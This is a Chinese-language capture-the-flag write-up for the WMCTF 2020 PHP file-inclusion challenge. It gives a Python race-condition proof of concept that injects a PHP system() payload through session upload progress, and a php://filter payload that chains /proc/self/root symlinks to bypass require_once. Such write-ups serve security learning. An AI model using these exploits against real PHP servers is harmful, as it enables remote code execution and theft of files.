[WMCTF 2020]Make PHP Great Again
这是一道简单的文件包含题目
源码:
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
看上去没进行过滤,但是实际上用伪协议是无法读取文件的,这是因为require_once()
在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含。
SESSION_UPLOAD_PROGRESS
简单来说就是当session.upload_progress.enabled
INI 选项开启时,可以通过上传文件的同时再
POST一个与INI中设置的session.upload_progress.name
同名变量。当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值。然后我们可以通过控制session.upload_progress.name
这个变量的值来写进命令执行语句。由于这个文件在文件上传完成之后会立即删除,因此可以利用条件竞争包含这一个session文件即可实现命令执行。
POC:
import requests
import threading
url = 'http://88c45695-e5ef-421c-94df-133d9b15eafd.node3.buuoj.cn/'
def write(session):
while True:
re = session.post(
url=url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat flag.php");?>hacker123',
},
files={"file": ('hello.txt', open("test.txt", "r"))},
cookies={'PHPSESSID': 'flag'})
print(re.text)
def read(session):
while True:
re = session.get(url+'?file=/tmp/sess_flag')
if "hacker123" in re.text:
print(re.text)
exit()
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
这里我是通过BUU进行复现的,BUU不允许太快的请求,因此无法使用多线程,需要较长的时间(和一定的运气?)
/proc/self/root/
这个是预期解,前面session是非预期,后来又出了道2.0修复了非预期解。
原理:php源码分析 require_once 绕过不能重复包含文件的限制 (太长看不懂系列)
PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
root@ubuntu:/var/log/apache2# cd /proc/self/root/
root@ubuntu:/proc/self/root# ls
bin dev home lib media proc sbin swapfile tmp vmlinuz
boot etc initrd.img lib64 mnt root snap sys usr vmlinuz.old
cdrom flag initrd.img.old lost+found opt run srv test var
root@ubuntu:/proc/self/root# cd /
root@ubuntu:/# ls
bin dev home lib media proc sbin swapfile tmp vmlinuz
boot etc initrd.img lib64 mnt root snap sys usr vmlinuz.old
cdrom flag initrd.img.old lost+found opt run srv test var
可以看到这里/proc/self/root/
和/
指向的目录是一样的。
payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php